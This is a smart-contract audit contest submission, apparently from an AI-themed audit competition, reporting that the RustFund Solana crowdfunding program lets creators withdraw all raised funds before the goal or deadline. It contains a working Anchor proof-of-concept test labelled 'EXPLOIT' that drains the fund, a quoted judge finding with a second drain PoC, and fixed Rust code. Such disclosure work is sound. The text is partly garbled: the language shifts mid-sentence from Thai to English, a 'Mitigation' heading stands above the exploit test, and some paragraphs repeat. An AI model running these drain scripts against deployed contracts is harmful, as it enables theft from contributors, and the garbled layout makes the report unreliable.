Rust Fund

AI First Flight #9
Beginner FriendlyRust
EXP
View results
Submission Details
Severity: high
Valid

programs/rustfund/src/lib.rs

รายงานช่องโหว่ด้านความปลอดภัย — RustFund

เป้าหมาย: programs/rustfund/src/lib.rs

ที่เก็บ: https://github.com/CodeHawks-Contests/2025-03-rustfund

รหัสโปรแกรม: 6vxyM2QFNg3njwCQksy4K8azF5NwKxiUkEEG2hxqz15h

การค้นพบ 1 — ถอนเงินโดยไม่มีข้อจำกัด(): ไม่มีการตรวจสอบเป้าหมายหรือกำหนดเวลา (สำคัญ)

ระดับความรุนแรง

สำคัญ

ตำแหน่ง

programs/rustfund/src/lib.rs, ฟังก์ชัน withdraw (บรรทัด ~97–105)

สรุป

คำแนะนำในการถอนเงินอนุญาตให้ผู้สร้างกองทุนสามารถถอนยอดคงเหลือทั้งหมดที่ระดมได้ตลอดเวลา โดยไม่ต้องตรวจสอบว่าบรรลุเป้าหมายการระดมทุนแล้วหรือไม่ หรือเลยกำหนดเวลาแล้วหรือไม่ ซึ่งเป็นการทำลายหลักการพื้นฐานของสัญญาการระดมทุน: ผู้ร่วมบริจาคส่งเงินโดยคาดหวังว่าto be released to the creator only if the campaign succeeds (goal met) or is otherwise finalized — not on demand.

pub fn withdraw(ctx: Context<FundWithdraw>) -> Result<()> {
let amount = ctx.accounts.fund.amount_raised;
**ctx.accounts.fund.to_account_info().try_borrow_mut_lamports()? =
ctx.accounts.fund.to_account_info().lamports()
.checked_sub(amount)
.ok_or(ProgramError::InsufficientFunds)?;
**ctx.accounts.creator.to_account_info().try_borrow_mut_lamports()? =
ctx.accounts.creator.to_account_info().lamports()
.checked_add(amount)
.ok_or(ErrorCode::CalculationOverflow)?;
Ok(())
}

Result: the withdraw call succeeds and the log confirms the creator extracted the full raised balance despite the goal being nowhere near met and no deadline having passed — proving the missing check is directly exploitable, not just theoretical.

Mitigation

Add explicit on-chain checks before releasing funds, and reset amount_raised after payout so the fund's internal accounting stays consistent with its actual lamport balance:

import * as anchor from "@coral-xyz/anchor";
import { Program } from "@coral-xyz/anchor";
import { PublicKey, SystemProgram, LAMPORTS_PER_SOL } from "@solana/web3.js";
import { assert } from "chai";
import { Rustfund } from "../target/types/rustfund";
describe("withdraw() drains funds before goal is met", () => {
const provider = anchor.AnchorProvider.env();
anchor.setProvider(provider);
const program = anchor.workspace.Rustfund as Program<Rustfund>;
const creator = provider.wallet as anchor.Wallet;
const contributor = anchor.web3.Keypair.generate();
const fundName = "poc-fund";
const goal = new anchor.BN(1000 * LAMPORTS_PER_SOL); // unreachable goal
const contributionAmount = new anchor.BN(1 * LAMPORTS_PER_SOL);
let fundPda: PublicKey;
let contributionPda: PublicKey;
it("setup: airdrop + create fund + contribute far below goal", async () => {
const sig = await provider.connection.requestAirdrop(contributor.publicKey, 5 * LAMPORTS_PER_SOL);
await provider.connection.confirmTransaction(sig);
[fundPda] = PublicKey.findProgramAddressSync(
[Buffer.from(fundName), creator.publicKey.toBuffer()],
program.programId
);
await program.methods
.fundCreate(fundName, "PoC campaign", goal)
.accounts({ fund: fundPda, creator: creator.publicKey, systemProgram: SystemProgram.programId })
.rpc();
[contributionPda] = PublicKey.findProgramAddressSync(
[fundPda.toBuffer(), contributor.publicKey.toBuffer()],
program.programId
);
await program.methods
.contribute(contributionAmount)
.accounts({ fund: fundPda, contributor: contributor.publicKey, contribution: contributionPda, systemProgram: SystemProgram.programId })
.signers([contributor])
.rpc();
const fundAccount = await program.account.fund.fetch(fundPda);
assert.ok(fundAccount.amountRaised.lt(goal), "sanity: goal not met");
});
it("EXPLOIT: creator withdraws full balance despite goal never being reached", async () => {
const before = await provider.connection.getBalance(creator.publicKey);
await program.methods
.withdraw()
.accounts({ fund: fundPda, creator: creator.publicKey, systemProgram: SystemProgram.programId })
.rpc();
const after = await provider.connection.getBalance(creator.publicKey);
assert.isAbove(after, before);
console.log(`Drained ${(after - before) / LAMPORTS_PER_SOL} SOL with goal of ${goal.toString()} lamports never met.`);
});
});

Recommended Mitigation

Result: the withdraw call succeeds and the log confirms the creator extracted the full raised balance despite the goal being nowhere near met and no deadline having passed — proving the missing check is directly exploitable, not just theoretical.

Mitigation

Add explicit on-chain checks before releasing funds, and reset amount_raised after payout so the fund's internal accounting stays consistent with its actual lamport balance:

pub fn withdraw(ctx: Context<FundWithdraw>) -> Result<()> {
let fund = &ctx.accounts.fund;
let now: u64 = Clock::get()?.unix_timestamp.try_into().unwrap();
require!(fund.amount_raised >= fund.goal, ErrorCode::GoalNotReached);
require!(fund.deadline == 0 || now >= fund.deadline, ErrorCode::DeadlineNotReached);
let amount = fund.amount_raised;
**ctx.accounts.fund.to_account_info().try_borrow_mut_lamports()? =
ctx.accounts.fund.to_account_info().lamports()
.checked_sub(amount)
.ok_or(ProgramError::InsufficientFunds)?;
**ctx.accounts.creator.to_account_info().try_borrow_mut_lamports()? =
ctx.accounts.creator.to_account_info().lamports()
.checked_add(amount)
.ok_or(ErrorCode::CalculationOverflow)?;
ctx.accounts.fund.amount_raised = 0;
Ok(())
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 6 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] H-01. Creators Can Withdraw Funds Without Meeting Campaign Goals

# H-01. Creators Can Withdraw Funds Without Meeting Campaign Goals **Severity:** High\ **Category:** Fund Management / Economic Security Violation ## Description The `withdraw` function in the RustFund contract allows creators to prematurely withdraw funds without verifying if the campaign goal was successfully met. ## Vulnerability Details In the current RustFund implementation (`lib.rs`), the `withdraw` instruction lacks logic to verify that the campaign's `amount_raised` is equal to or greater than the `goal`. Consequently, creators can freely withdraw user-contributed funds even when fundraising objectives haven't been met, undermining the core economic guarantees of the platform. **Vulnerable Component:** - File: `lib.rs` - Function: `withdraw` - Struct: `Fund` ## Impact - Creators can prematurely drain user-contributed funds. - Contributors permanently lose the ability to receive refunds if the creator withdraws early. - Severely damages user trust and undermines the economic integrity of the RustFund platform. ## Proof of Concept (PoC) ```js // Create fund with 5 SOL goal await program.methods .fundCreate(FUND_NAME, "Test fund", new anchor.BN(5 * LAMPORTS_PER_SOL)) .accounts({ fund, creator: creator.publicKey, systemProgram: SystemProgram.programId, }) .signers([creator]) .rpc(); // Contribute only 2 SOL (below goal) await program.methods .contribute(new anchor.BN(2 * LAMPORTS_PER_SOL)) .accounts({ fund, contributor: contributor.publicKey, contribution, systemProgram: SystemProgram.programId, }) .signers([contributor]) .rpc(); // Set deadline to past await program.methods .setDeadline(new anchor.BN(Math.floor(Date.now() / 1000) - 86400)) .accounts({ fund, creator: creator.publicKey }) .signers([creator]) .rpc(); // Attempt withdrawal (should fail but succeeds) await program.methods .withdraw() .accounts({ fund, creator: creator.publicKey, systemProgram: SystemProgram.programId, }) .signers([creator]) .rpc(); /* OUTPUT: Fund goal: 5 SOL Contributed amount: 2 SOL Withdrawal succeeded despite not meeting goal Fund balance after withdrawal: 0.00089088 SOL (rent only) */ ``` ## Recommendations Add conditional logic to the `withdraw` function to ensure the campaign has reached its fundraising goal before allowing withdrawals: ```diff pub fn withdraw(ctx: Context<FundWithdraw>) -> Result<()> { let fund = &mut ctx.accounts.fund; + require!(fund.amount_raised >= fund.goal, ErrorCode::GoalNotMet); let amount = fund.amount_raised; **ctx.accounts.fund.to_account_info().try_borrow_mut_lamports()? = ctx.accounts.fund.to_account_info().lamports() .checked_sub(amount) .ok_or(ProgramError::InsufficientFunds)?; **ctx.accounts.creator.to_account_info().try_borrow_mut_lamports()? = ctx.accounts.creator.to_account_info().lamports() .checked_add(amount) .ok_or(ErrorCode::CalculationOverflow)?; Ok(()) } ``` Also define the new error clearly: ```diff #[error_code] pub enum ErrorCode { // existing errors... + #[msg("Campaign goal not met")] + GoalNotMet, } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!